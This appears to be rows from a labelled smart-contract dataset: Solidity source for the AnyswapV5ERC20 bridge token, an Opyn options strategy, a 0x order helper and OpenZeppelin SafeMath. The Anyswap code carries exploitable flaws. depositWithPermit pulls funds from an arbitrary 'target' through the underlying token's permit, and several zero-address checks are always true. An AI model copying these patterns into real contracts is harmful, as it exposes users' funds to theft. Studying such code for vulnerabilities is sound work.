IZrxExchange zrx,
address zrxTokenProxy,
LibOrder.Order[] memory orders
)
public
view
returns (LibOrder.OrderInfo[] memory ordersInfo)
{
ordersInfo = zrx.getOrdersInfo(orders);
for (uint i = 0; i < ordersInfo.length; i++) {
uint256 balance = token.balanceOf(orders[i].makerAddress);
uint256 allowance = token.allowance(orders[i].makerAddress, zrxTokenProxy);
uint256 availableMakerAmount = (allowance < balance) ? allowance : balance;
uint256 availableTakerAmount = availableMakerAmount.mul(orders[i].takerAssetAmount).div(orders[i].makerAssetAmount);
for (uint j = 0; j < i; j++) {
if (orders[j].makerAddress == orders[i].makerAddress) {
uint256 orderTakerAssetRemainigAmount = orders[j].takerAssetAmount.sub(
ordersInfo[j].orderTakerAssetFilledAmount
);
if (availableTakerAmount > orderTakerAssetRemainigAmount) {
availableTakerAmount = availableTakerAmount.sub(orderTakerAssetRemainigAmount);
} else {
availableTakerAmount = 0;
break;
}
}
}
uint256 remainingTakerAmount = orders[i].takerAssetAmount.sub(
ordersInfo[i].orderTakerAssetFilledAmount
);
if (availableTakerAmount < remainingTakerAmount) {
ordersInfo[i].orderTakerAssetFilledAmount = orders[i].takerAssetAmount.sub(availableTakerAmount);
}
}
}
} | True | [
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|
/**
*Submitted for verification at BscScan.com on 2021-06-15
*/
/**
*Submitted for verification at BscScan.com on 2021-06-11
*/
/**
*Submitted for verification at polygonscan.com on 2021-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV5ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
uint public pendingDelay;
uint public delayDelay;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setMinter(address _auth) external onlyVault {
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function setVault(address _vault) external onlyVault {
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeVault(vault, pendingVault, delayVault);
return true;
}
function changeMPCOwner(address newVault) public onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeMPCOwner(vault, pendingVault, delayVault);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
event LogAddAuth(address indexed auth, uint timestamp);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).permit(target, address(this), value, deadline, v, r, s);
IERC20(underlying).safeTransferFrom(target, address(this), value);
return _deposit(value, to);
}
function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s);
return _deposit(value, to);
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal view returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hash));
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
import { SafeMath } from '@openzeppelin/contracts/math/SafeMath.sol';
import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { SafeERC20 } from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import { IAction } from '../interfaces/IAction.sol';
import { IController } from '../interfaces/IController.sol';
import { IOracle } from '../interfaces/IOracle.sol';
import { IOToken } from '../interfaces/IOToken.sol';
import { IWETH } from '../interfaces/IWETH.sol';
import { SwapTypes } from '../libraries/SwapTypes.sol';
import { AirswapBase } from '../utils/AirswapBase.sol';
import { RollOverBase } from '../utils/RollOverBase.sol';
/**
* Error Codes
* S1: msg.sender must be the vault
* S2: cannot currently close the vault position
* S3: seller for the order (_order.sender.wallet) must be this contract
* S4: token to sell (_order.sender.token) must be the currently activated oToken
* S5: token to sell for (_order.signer.token) must be the underlying
* S6: tokens being sold (_order.sender.amount) and tokens being minted (_otokenAmount) must be the same
* S7: amount of underlying being sold for (_order.signer.amount) does not meet the minimum option premium
* S8: strike price for the next oToken is too low
* S9: expiry timestamp for the next oToken is invalid
*/
/**
* @title ShortOTokenActionWithSwap
* @author Opyn Team
*/
contract ShortOTokenActionWithSwap is IAction, AirswapBase, RollOverBase {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public immutable vault;
/// @dev 100%
uint256 constant public BASE = 10000;
/// @dev the minimum strike price of the option chosen needs to be at least 105% of spot.
/// This is set expecting the contract to be a strategy selling calls. For puts should change this.
uint256 constant public MIN_STRIKE = 10500;
uint256 public MIN_PROFITS; // 100 being 1%
uint256 public lockedAsset;
uint256 public rolloverTime;
IController public controller;
IOracle public oracle;
IERC20 underlying;
event MintAndSellOToken(uint256 collateralAmount, uint256 otokenAmount, uint256 premium);
constructor(
address _vault,
address _swap,
address _opynWhitelist,
address _controller,
uint256 _vaultType,
address _underlying,
uint256 _min_profits
) {
MIN_PROFITS = _min_profits;
vault = _vault;
underlying = IERC20(_underlying);
controller = IController(_controller);
oracle = IOracle(controller.oracle());
// enable vault to take all the underlying back and re-distribute.
underlying.safeApprove(_vault, uint256(-1));
// enable pool contract to pull underlying from this contract to mint options.
underlying.safeApprove(controller.pool(), uint256(-1));
_initSwapContract(_swap);
_initRollOverBase(_opynWhitelist);
_openVault(_vaultType);
}
function onlyVault() private view {
require(msg.sender == vault, "S1");
}
/**
* @dev return the net worth of this strategy, in terms of underlying.
* if the action has an opened gamma vault, see if there's any short position
*/
function currentValue() external view override returns (uint256) {
return underlying.balanceOf(address(this)).add(lockedAsset);
// todo: caclulate cash value to avoid not early withdraw to avoid loss.
}
/**
* @dev return the amount of locked asset in the action.
*/
function currentLockedAsset() external view override returns (uint256) {
return lockedAsset;
}
/**
* @dev the function that the vault will call when the round is over
*/
function closePosition() external override {
onlyVault();
require(canClosePosition(), 'S2');
if(_canSettleVault()) {
_settleVault();
}
// this function can only be called when it's `Activated`
// go to the next step, which will enable owner to commit next oToken
_setActionIdle();
lockedAsset = 0;
}
/**
* @dev the function that the vault will call when the new round is starting
*/
function rolloverPosition() external override {
onlyVault();
// this function can only be called when it's `Committed`
_rollOverNextOTokenAndActivate();
rolloverTime = block.timestamp;
}
/**
* @dev owner only function to mint options with underlying and sell otokens in this contract
* by filling an order on AirSwap.
* this can only be done in "activated" state. which is achievable by calling `rolloverPosition`
*/
function mintAndSellOToken(uint256 _collateralAmount, uint256 _otokenAmount, SwapTypes.Order memory _order) external onlyOwner {
onlyActivated();
require(_order.sender.wallet == address(this), 'S3');
require(_order.sender.token == otoken, 'S4');
require(_order.signer.token == address(underlying), 'S5');
require(_order.sender.amount == _otokenAmount, 'S6');
// mint options & lock asset
_mintOTokens(_collateralAmount, _otokenAmount);
lockedAsset = lockedAsset.add(_collateralAmount);
// underlying before minting
uint256 underlyingBalanceBefore = underlying.balanceOf(address(this));
// sell options on airswap for underlying
IERC20(otoken).safeIncreaseAllowance(address(airswap), _order.sender.amount);
_fillAirswapOrder(_order);
// check that minimum premium is received & that it is higher than min threshold
uint256 underlyingBalanceAfter = underlying.balanceOf(address(this));
uint256 underlyingTokenEarned = underlyingBalanceAfter.sub(underlyingBalanceBefore);
require(_collateralAmount.mul(MIN_PROFITS).div(BASE) <= underlyingTokenEarned, 'S7');
emit MintAndSellOToken(_collateralAmount, _otokenAmount, underlyingTokenEarned);
}
/**
* @notice the function will return when someone can close a position. 1 day after rollover,
* if the option wasn't sold, anyone can close the position.
*/
function canClosePosition() public view returns(bool) {
if (otoken != address(0) && lockedAsset != 0) {
return _canSettleVault();
}
return block.timestamp > rolloverTime + 1 days;
}
/**
* @dev open vault with vaultId 1. this should only be performed once when contract is initiated
*/
function _openVault(uint256 _vaultType) internal {
bytes memory data;
if (_vaultType != 0) {
data = abi.encode(_vaultType);
}
// this action will always use vault id 0
IController.ActionArgs[] memory actions = new IController.ActionArgs[](1);
actions[0] = IController.ActionArgs(
IController.ActionType.OpenVault,
address(this), // owner
address(0), // doesn't matter
address(0), // doesn't matter
1, // vaultId
0, // amount
0, // index
data // data
);
controller.operate(actions);
}
/**
* @dev mint otoken in vault 1
*/
function _mintOTokens(uint256 _collateralAmount, uint256 _otokenAmount) internal {
// this action will always use vault id 1
IController.ActionArgs[] memory actions = new IController.ActionArgs[](2);
actions[0] = IController.ActionArgs(
IController.ActionType.DepositCollateral,
address(this), // vault owner is this address
address(this), // deposit from this address
address(underlying), // collateral is the underlying
1, // vaultId is 1
_collateralAmount, // amount of underlying to deposit
0, // index
"" // data
);
actions[1] = IController.ActionArgs(
IController.ActionType.MintShortOption,
address(this), // vault owner is this address
address(this), // mint to this address
otoken, // otoken to mint
1, // vaultId is 1
_otokenAmount, // amount of otokens to mint
0, // index
"" // data
);
controller.operate(actions);
}
/**
* @dev settle vault 1 and withdraw all locked collateral
*/
function _settleVault() internal {
IController.ActionArgs[] memory actions = new IController.ActionArgs[](1);
// this action will always use vault id 1
actions[0] = IController.ActionArgs(
IController.ActionType.SettleVault,
address(this), // owner is this address
address(this), // recipient is this address
address(0), // doesn't mtter
1, // vaultId is 1
0, // amount doesn't matter
0, // index
"" // data
);
controller.operate(actions);
}
/**
* @dev checks if the current vault can be settled
*/
function _canSettleVault() internal view returns (bool) {
if (lockedAsset != 0 && otoken != address(0)) {
return controller.isSettlementAllowed(otoken);
}
return false;
}
/**
* @dev funtion to add some custom logic to check the next otoken is valid to this strategy
* this hook is triggered while action owner calls "commitNextOption"
* so accessing otoken will give u the current otoken.
*/
function _customOTokenCheck(address _nextOToken) internal override view {
// Can override or replace this.
require(_isValidStrike(IOToken(_nextOToken).strikePrice()), 'S8');
require (_isValidExpiry(IOToken(_nextOToken).expiryTimestamp()), 'S9');
/**
* e.g.
* check otoken strike price is lower than current spot price for put.
* check it's no more than x day til the current otoken expires. (can't commit too early)
* check there's no previously committed otoken.
* check otoken expiry is expected
*/
}
/**
* @dev funtion to check that the otoken being sold meets a minimum valid strike price
* this hook is triggered in the _customOtokenCheck function.
*/
function _isValidStrike(uint256 strikePrice) internal view returns (bool) {
uint256 spotPrice = oracle.getPrice(address(underlying));
// checks that the strike price set is > than 105% of current price
return strikePrice >= spotPrice.mul(MIN_STRIKE).div(BASE);
}
/**
* @dev funtion to check that the otoken being sold meets certain expiry conditions
* this hook is triggered in the _customOtokenCheck function.
*/
function _isValidExpiry(uint256 expiry) internal view returns (bool) {
// TODO: override with your filler code.
// Checks that the token committed to expires within 15 days of commitment.
return (block.timestamp).add(15 days) >= expiry;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
